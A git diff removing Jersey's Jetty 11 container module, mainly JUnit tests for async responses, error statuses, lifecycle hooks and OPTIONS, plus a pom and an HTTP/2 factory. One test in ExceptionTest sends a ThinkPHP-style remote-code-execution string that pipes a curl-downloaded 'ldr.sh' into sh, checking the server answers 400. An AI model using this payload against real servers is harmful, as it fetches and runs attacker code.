-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Response;
-
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.is;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Michal Gajdos
- */
-public class AsyncTest extends AbstractJettyServerTester {
-
-    @Path("/async")
-    @SuppressWarnings("VoidMethodAnnotatedWithGET")
-    public static class AsyncResource {
-
-        public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
-
-        @GET
-        public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(5000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(final AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
-                            .build());
-                }
-            });
-            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    final String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(7000);
-                    } catch (final InterruptedException e) {
-                        // ignore
-                    }
-                    return "DONE";
-                }
-            }).start();
-        }
-
-        @GET
-        @Path("multiple-invocations")
-        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
-            INVOCATION_COUNT.incrementAndGet();
-
-            new Thread(new Runnable() {
-                @Override
-                public void run() {
-                    asyncResponse.resume("OK");
-                }
-            }).start();
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServer(AsyncResource.class);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-    @Test
-    public void testAsyncGet() throws ExecutionException, InterruptedException {
-        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-        // get() waits for the response
-        assertEquals("DONE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
-        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-
-    /**
-     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
-     */
-    @Test
-    public void testAsyncMultipleInvocations() throws Exception {
-        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
-
-        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
-
-        assertThat(response.getStatus(), is(200));
-        assertThat(response.readEntity(String.class), is("OK"));
-    }
-}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
deleted file mode 100644
index 03abb53..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import org.apache.http.HttpHost;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.message.BasicHttpRequest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.PathParam;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import java.io.IOException;
-import java.net.URI;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- */
-public class ExceptionTest extends AbstractJettyServerTester {
-    @Path("{status}")
-    public static class ExceptionResource {
-        @GET
-        public String get(@PathParam("status") int status) {
-            throw new WebApplicationException(status);
-        }
-
-    }
-
-    @Test
-    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
-        startServer(ExceptionResource.class);
-        URI testUri = getUri().build();
-        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
-                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
-                + ".0.1/ldr.sh|sh";
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
-        CloseableHttpClient client = HttpClientBuilder.create().build();
-
-        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
-
-        assertEquals(400, response.getStatusLine().getStatusCode());
-    }
-
-    @Test
-    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
-        startServer(ExceptionResource.class);
-        URI testUri = getUri().build();
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
-        request.addHeader("X-Forwarded-Host", "_foo.com");
-        CloseableHttpClient client = HttpClientBuilder.create().build();
-
-        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
-
-        assertEquals(400, response.getStatusLine().getStatusCode());
-    }
-
-    @Test
-    public void test400StatusCode() throws IOException {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("400").build());
-        assertEquals(400, r.request().get(Response.class).getStatus());
-    }
-
-    @Test
-    public void test500StatusCode() {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("500").build());
-
-        assertEquals(500, r.request().get(Response.class).getStatus());
-    }
-}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
deleted file mode 100644
index cb363fb..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
+++ /dev/null
@@ -1,196 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import static java.lang.Boolean.FALSE;
-import static java.lang.Boolean.TRUE;
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.hamcrest.Matchers.greaterThan;
-
-import java.security.AccessController;
-import java.security.NoSuchAlgorithmException;
-import java.util.Collections;
-import java.util.Set;
-import java.util.concurrent.CompletionStage;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import javax.net.ssl.SSLContext;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.WebServer;
-import org.glassfish.jersey.server.spi.WebServerProvider;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.Timeout;
-
-/**
- * Unit tests for {@link JettyHttpServerProvider}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-public final class JettyHttpServerProviderTest {
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public void shouldProvideServer() throws InterruptedException, ExecutionException {
-        // given
-        final Resource resource = new Resource();
-        shouldProvideServer(ShouldProvideServerApplication.class, resource);
-    }
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
-        // given
-        final Resource resource = new Resource();
-        final Application application = new ShouldProvideServerApplication();
-        shouldProvideServer(application.getClass(), resource);
-    }
-
-    private void shouldProvideServer(final Object application, final Resource resource)
-            throws InterruptedException, ExecutionException {
-        // given
-        final WebServerProvider webServerProvider = new JettyHttpServerProvider();
-        final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
-
-        // when
-        final WebServer webServer = Application.class.isInstance(application)
-                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
-                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
-        final Object nativeHandle = webServer.unwrap(Object.class);
-        final CompletionStage<?> start = webServer.start();
-        final Object startResult = start.toCompletableFuture().get();
-        final Container container = webServer.container();
-        final int port = webServer.port();
-        final String entity = ClientBuilder.newClient()
-                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
-                .get(String.class);
-        final CompletionStage<?> stop = webServer.stop();
-        final Object stopResult = stop.toCompletableFuture().get();
-
-        // then
-        assertThat(webServer, is(instanceOf(JettyHttpServer.class)));
-        assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class)));
-        assertThat(startResult, is(nullValue()));
-        assertThat(container, is(instanceOf(JettyHttpContainer.class)));
-        assertThat(port, is(greaterThan(0)));
-        assertThat(entity, is(resource.toString()));
-        assertThat(stopResult, is(nullValue()));
-    }
-
-    @Path("/")
-    protected static final class Resource {
-        @GET
-        @Override
-        public String toString() {
-            return Resource.class.getName();
-        }
-    }
-
-    protected static class ShouldProvideServerApplication extends Application {
-        @Override
-        public Set<Object> getSingletons() {
-            return Collections.singleton(new Resource());
-        }
-    }
-
-    private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName());
-
-    private static final int DEFAULT_PORT = 0;
-
-    private static int getPort() {
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-            try {
-                final int i = Integer.parseInt(value);
-                if (i < 0) {
-                    throw new NumberFormatException("Value is negative.");
-                }
-                return i;
-            } catch (final NumberFormatException e) {
-                LOGGER.log(Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid non-negative integer [" + value + "]."
-                                + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-
-        return DEFAULT_PORT;
-    }
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
-        // given
-        final WebServerProvider webServerProvider = new JettyHttpServerProvider();
-        final Application application = new Application();
-        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
-
-        // when
-        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
-
-        // then
-        assertThat(webServer.port(), is(greaterThan(0)));
-    }
-
-    private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
-        return (SeBootstrap.Configuration) name -> {
-            switch (name) {
-                case SeBootstrap.Configuration.PROTOCOL:
-                    return "HTTP";
-                case SeBootstrap.Configuration.HOST:
-                    return "localhost";
-                case SeBootstrap.Configuration.PORT:
-                    return port;
-                case SeBootstrap.Configuration.ROOT_PATH:
-                    return "/";
-                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
-                    return SSLClientAuthentication.NONE;
-                case SeBootstrap.Configuration.SSL_CONTEXT:
-                    try {
-                        return SSLContext.getDefault();
-                    } catch (final NoSuchAlgorithmException e) {
-                        throw new RuntimeException(e);
-                    }
-                case ServerProperties.WEBSERVER_AUTO_START:
-                    return autoStart;
-                default:
-                    return null;
-            }
-        };
-    }
-
-}
\ No newline at end of file
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
deleted file mode 100644
index 133bd25..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
-import org.glassfish.jersey.server.spi.Container;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Reload and ContainerLifecycleListener support test.
- *
- * @author Paul Sandoz
- * @author Marek Potociar
- */
-public class LifecycleListenerTest extends AbstractJettyServerTester {
-
-    @Path("/one")
-    public static class One {
-        @GET
-        public String get() {
-            return "one";
-        }
-    }
-
-    @Path("/two")
-    public static class Two {
-        @GET
-        public String get() {
-            return "two";
-        }
-    }
-
-    public static class Reloader extends AbstractContainerLifecycleListener {
-        Container container;
-
-        public void reload(ResourceConfig newConfig) {
-            container.reload(newConfig);
-        }
-
-        public void reload() {
-            container.reload();
-        }
-
-        @Override
-        public void onStartup(Container container) {
-            this.container = container;
-        }
-
-    }
-
-    @Test
-    public void testReload() {
-        final ResourceConfig rc = new ResourceConfig(One.class);
-
-        Reloader reloader = new Reloader();
-        rc.registerInstances(reloader);
-
-        startServer(rc);
-
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("/").build());
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
-
-        // add Two resource
-        reloader.reload(new ResourceConfig(One.class, Two.class));
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals("two", r.path("two").request().get(String.class));
-    }
-
-    static class StartStopListener extends AbstractContainerLifecycleListener {
-        volatile boolean started;
-        volatile boolean stopped;
-
-        @Override
-        public void onStartup(Container container) {
-            started = true;
-        }
-
-        @Override
-        public void onShutdown(Container container) {
-            stopped = true;
-        }
-    }
-
-    @Test
-    public void testStartupShutdownHooks() {
-        final StartStopListener listener = new StartStopListener();
-
-        startServer(new ResourceConfig(One.class).register(listener));
-
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("/").build());
-
-        assertThat(r.path("one").request().get(String.class), equalTo("one"));
-        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
-
-        stopServer();
-
-        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
-        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
-    }
-}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
deleted file mode 100644
index 5d9c627..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class OptionsTest extends AbstractJettyServerTester {
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        startServer(HelloWorldResource.class);
-        Client client = ClientBuilder.newClient();
-        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(0, response.getLength());
-        assertEquals("foo/bar", response.getMediaType().toString());
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-}
diff --git a/containers/jetty11-http2/pom.xml b/containers/jetty11-http2/pom.xml
deleted file mode 100644
index c43438e..0000000
--- a/containers/jetty11-http2/pom.xml
+++ /dev/null
@@ -1,175 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.5.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-container-jetty11-http2</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-container-jetty11-http2</name>
-
-    <description>Jetty 11 Http2 Container</description>
-
-    <dependencyManagement>
-        <dependencies>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-util</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-alpn-conscrypt-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-        </dependencies>
-    </dependencyManagement>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-jetty11-http</artifactId>
-            <version>${project.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-server</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.inject</groupId>
-            <artifactId>jakarta.inject-api</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-server</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-server</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-server</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-alpn-conscrypt-server</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.hamcrest</groupId>
-            <artifactId>hamcrest</artifactId>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <configuration>
-                    <instructions>
-                        <Import-Package>
-                            ${jetty.osgi.version},
-                            *
-                        </Import-Package>
-                    </instructions>
-                </configuration>
-            </plugin>
-        </plugins>
-
-        <resources>
-            <resource>
-                <directory>${basedir}/src/main/resources</directory>
-                <filtering>true</filtering>
-            </resource>
-        </resources>
-    </build>
-
-</project>
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
deleted file mode 100644
index ac8927c..0000000
--- a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
-import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
-import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
-import org.eclipse.jetty.server.ConnectionFactory;
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.HttpConfiguration;
-import org.eclipse.jetty.server.HttpConnectionFactory;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.server.SslConnectionFactory;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.glassfish.jersey.jetty.Jetty11HttpContainer;
-import org.glassfish.jersey.jetty.Jetty11HttpContainerFactory;
-import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import jakarta.ws.rs.ProcessingException;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.List;
-
-public final class Jetty11Http2ContainerFactory {
-
-    private Jetty11Http2ContainerFactory() {
-
-    }
-
-    /**
-     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *            segment will be used as context path, the rest will be ignored.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createHttp2Server(final URI uri) throws ProcessingException {
-        return createHttp2Server(uri, null, null, true);
-    }
-
-    /**
-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
-     *                      used as context path, the rest will be ignored.
-     * @param configuration web application configuration.
-     * @param start         if set to false, server will not get started, which allows to configure the underlying
-     *                      transport layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        return createHttp2Server(uri, null,
-                ContainerFactory.createContainer(Jetty11HttpContainer.class, configuration), start);
-    }
-
-    /**
-     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *              segment will be used as context path, the rest will be ignored.
-     * @param start if set to false, server will not get started, which allows to configure the underlying transport
-     *              layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     *
-     * @since 2.40
-     */
-
-    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
-        return createHttp2Server(uri, null, null, start);
-    }
-
-    /**
